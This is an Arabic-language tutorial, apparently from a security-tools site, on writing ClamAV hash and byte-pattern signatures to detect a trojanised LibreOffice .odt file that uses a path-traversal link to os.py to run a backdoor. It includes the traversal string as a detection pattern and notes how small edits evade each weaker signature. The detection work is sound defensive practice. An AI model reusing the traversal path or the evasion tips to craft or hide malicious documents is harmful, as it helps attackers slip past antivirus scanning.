لحساب حجم الملف، أسهل طريقة هي استخدام الأمر ls مع تمرير مسار الملف إليه بشكل مشابه لما يلي:

root@kitploit:~
user@host:~/$ ls -al exploit.odt 
-rw-r--r-- 1 user user 726509 Apr 09 19:17 exploit.odt

وبالتالي يمكن اختيار إنشاء ملف بامتداد .hdb بالتجزئة md5 أو sha1 والحجم الذي تم الحصول عليه ليصبح كالتالي:

root@kitploit:~
9158e2fc2f87b5ee050a279a38f6bfac:726509:Trojan.LibreOfficeMalware.A
a39979533831fbb9eac4ba6c13469b4d421fc1c7:726509:Trojan.LibreOfficeMalware.B

عند تشغيل ClamAV، يجب تحديد أننا سنستخدم ملف التوقيعات الذي يتم إنشاؤه. لذلك للتحقق من الفيروسات باستخدام قاعدة البيانات المسماة LibreOfficeSign.hdb، سيتم تنفيذ الأمر التالي:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.hdb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.A.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 1.46 MB
Data read: 0.69 MB (ratio 2.11:1)
Time: 0.035 sec (0 m 0 s)

هذا النوع من التوقيعات حساس جدًا لأي تغيير في البرنامج الضار بحيث لا يستطيع مضاد الفيروسات التعرف عليه. التجزئة المستخدمة في التوقيع، سواء كانت md5 أو sha1، وأي تغيير في أي بت في الملف سيؤدي إلى عدم اكتشافه كفيروس. إذا قمنا ببساطة بفك ضغط ملف .odt الذي تم إنشاؤه وتغيير أي حرف في نص المستند، على سبيل المثال a إلى A، سيكون ذلك كافيًا لتجاوز مضاد الفيروسات.

سنقوم بإنشاء توقيع أكثر ذكاءً باستخدام نظام التوقيعات الديناميكية لـ ClamAV. هذا النوع من التوقيعات يجب تخزينه في ملف بامتداد .ndb بدلاً من .hdb. تنسيق التوقيعات داخل الملف، على الرغم من تشابهها مع تلك المذكورة سابقًا، إلا أنها تستخدم معرفات داخل الملف بدلاً من تجزئة الملف بأكمله. سيتم إجراء مقارنات معينة لبعض السلاسل في الملف بحيث إذا احتوى عليها، سيتم اكتشافها كبرنامج ضار.

يبدأ التنسيق باسم التهديد، يليه نوع الملف الذي يجب أن يحتوي عليه البرنامج الضار. الرقم 0 يعني أن البرنامج الضار يمكن أن يكون في أي نوع من الملفات. يوجد الرقم 1 لتحديد أن البرنامج الضار يؤثر فقط على ملف تنفيذي exe 32 أو 64 بت، والرقم 6 لتحديد أنه موجود فقط في الملفات القابلة للتنفيذ من نوع ELF في يونكس، والرقم 7 لتحديد أنها ملفات من نوع ASCII. الحقل التالي يحدد عدد البايتات التي تبدأ منها مقارنة بايتات السلسلة التي نريد تحديدها داخل الملف. يمكن استخدام الرمز البديل * لتحديد أن السلسلة يمكن أن تبدأ في أي جزء من الملف. بعد ذلك، يتم تحديد سلسلة البايتات التي تسمح بتحديد البرنامج الضار. يتكون تعريف البحث من الرموز السداسية العشرية متتالية.

إحدى طرق الحصول على الرموز السداسية العشرية لملف معين هي استخدام أداة sigtool بحيث يتم إعطاؤها المدخلات بالبايتات عبر المدخل القياسي وستعيد التمثيل السداسي العشري مباشرة لاستخدامه في التوقيع. أداة أخرى مشابهة يمكن أن تكون hexdump ولكن الإخراج الذي تعيده يتطلب بعض التعديل. من أجل البساطة، سنقوم بإنشاء التوقيع باستخدام أداة sigtool.

الجزء من الملف الذي سنبحث عنه في التوقيع الثاني الذي نعتزم إنشاؤه سيكون شيئًا بسيطًا جدًا، وهو المسار الذي تم وضعه باستخدام اختراق المسار حتى جزء تنفيذ ملف os.py، بحيث حتى لو تغير شيء في ملف الأوفيس نفسه، لتنفيذ كود الباب الخلفي نحتاج على الأقل هذا المسار داخل الملف. أولاً، نحصل على الأحرف السداسية العشرية باستخدام الأمر التالي:

root@kitploit:~
user@host:~/$ echo -n "../../../../../../../../../../../usr/lib/python3.5/os.py" | sigtool --hex-dump
2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

من المهم تضمين المعامل -n في الأمر echo حتى لا تتم طباعة سطر جديد في النهاية. ونتيجة الأمر sigtool ستكون البحث الذي سيتم تطبيقه كتوقيع يمكن لمضاد الفيروسات اكتشاف ملف .odt الملوث.

لا يمكن تحديد إزاحة محددة لبدء البحث لأن ذلك يعتمد على هيكل كل ملف .odt، لذلك سيتم وضع * في حقل الإزاحة. كنوع الملف، سيتم تعريف 1 ليتم البحث من قبل مضاد الفيروسات في أي نوع ملف. سيتم تعريف اسم وقد يصبح التوقيع النهائي مشابهًا لما يلي:

root@kitploit:~
Trojan.LibreOfficeMalware.C:0:*:2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f2e2e2f7573722f6c69622f707974686f6e332e352f6f732e7079

سيتم تخزين التوقيع في الملف LibreOfficeSign.ndb، المهم في اسم الملف هو الامتداد. مرة أخرى، يمكن تشغيل clamav لمعرفة ما إذا كان التوقيع الذي تم إنشاؤه يكتشف الطروادة. ستكون النتيجة مشابهة لما يلي:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.C.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 1
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.010 sec (0 m 0 s)

على الرغم من أن طريقة تجاوز اكتشاف مضاد الفيروسات باستخدام هذا التوقيع أكثر تعقيدًا، إلا أنه لا يكفي تغيير أي جزء من النص في مستند الأوفيس. لا يزال من الممكن تجاوز فحص مضاد الفيروسات بطريقة واضحة نسبيًا لأنه لتعريف التوقيع تم استخدام رقم محدد من ../. في توليد الاستغلال، يجب وضع عدد التصاعدات النسبية كرقم كبير نسبيًا للسماح بالوصول إلى الدليل الجذر من أي مسار داخل لينكس. لذلك، ببساطة بحذف أحد ../ من المسار، سيظل الاستغلال يعمل وينفذ الباب الخلفي الذي تم إنشاؤه. لذلك، سنستخدم تعريفًا أكثر تقدمًا للتوقيعات يسمح باكتشاف البرامج الضارة باستخدام التعبيرات العادية وعدم استخدام توقيعات ثابتة جدًا تجعل البرنامج الضار لا يُكتشف مع تعديلات بسيطة جدًا.

سنستخدم توقيعًا بسيطًا يسمح باكتشاف البرنامج الضار بمجرد اكتشاف محاولة اختراق المسار. بالإضافة إلى ذلك، ولأغراض تعليمية فقط، سنستخدم الرمز البديل * الذي يسمح بتعريف عدد غير محدد متتالي من أي حرف. توجد رموز بديلة مشابهة مثل ?? الذي يسمح باكتشاف أي حرف ولكن يظهر مرة واحدة فقط. يمكن أيضًا استخدام الرمز البديل {n} لاكتشاف عدد n من البايتات و {-n} و {n-} لتعريف عدد من n بايتات أو أقل أو n بايتات أو أكثر على التوالي.

سنستخدم قسم البايتات الذي يسبق اختراق المسار والمحدد بالبيانات pythonSamples| والتي سنحتاج للحصول عليها بالتنسيق السداسي العشري:

root@kitploit:~
user@host:~/$ echo -n "pythonSamples|" | sigtool --hex-dump
707974686f6e53616d706c65737c

سنحصل أيضًا على الكود السداسي العشري لـ ../ بنفس الطريقة:

root@kitploit:~
user@host:~/$ echo -n "../" | sigtool --hex-dump
2e2e2f

وبالتالي، فإن التوقيع الذي سيتم إضافته إلى الملف سيكون تسلسل كلا التسلسلين من الأحرف السداسية العشرية عبر ، أي 707974686f6e53616d706c65737c2e2e2f. وبذلك سيكون التوقيع الكامل الذي سيبقى في الملف LibreOfficeSign.ndb كما يلي:

root@kitploit:~
Trojan.LibreOfficeMalware.D:0:*:707974686f6e53616d706c65737c*2e2e2f

عند إجراء التحقق عن طريق حذف أحد ../ من كل رابط تشعبي في ملف contents.xml، وإعادة تكوين ملف .odt والتحقق منه بواسطة مضاد الفيروسات، ستكون النتيجة كما يلي:

root@kitploit:~
user@host:~/$ clamscan -d LibreOfficeSign.ndb exploit.odt 
exploit.odt: Trojan.LibreOfficeMalware.D.UNOFFICIAL FOUND

----------- SCAN SUMMARY -----------
Known viruses: 2
Engine version: 0.100.2
Scanned directories: 0
Scanned files: 1
Infected files: 1
Data scanned: 0.02 MB
Data read: 0.69 MB (ratio 0.03:1)
Time: 0.009 sec (0 m 0 s)
تنزيل الأداة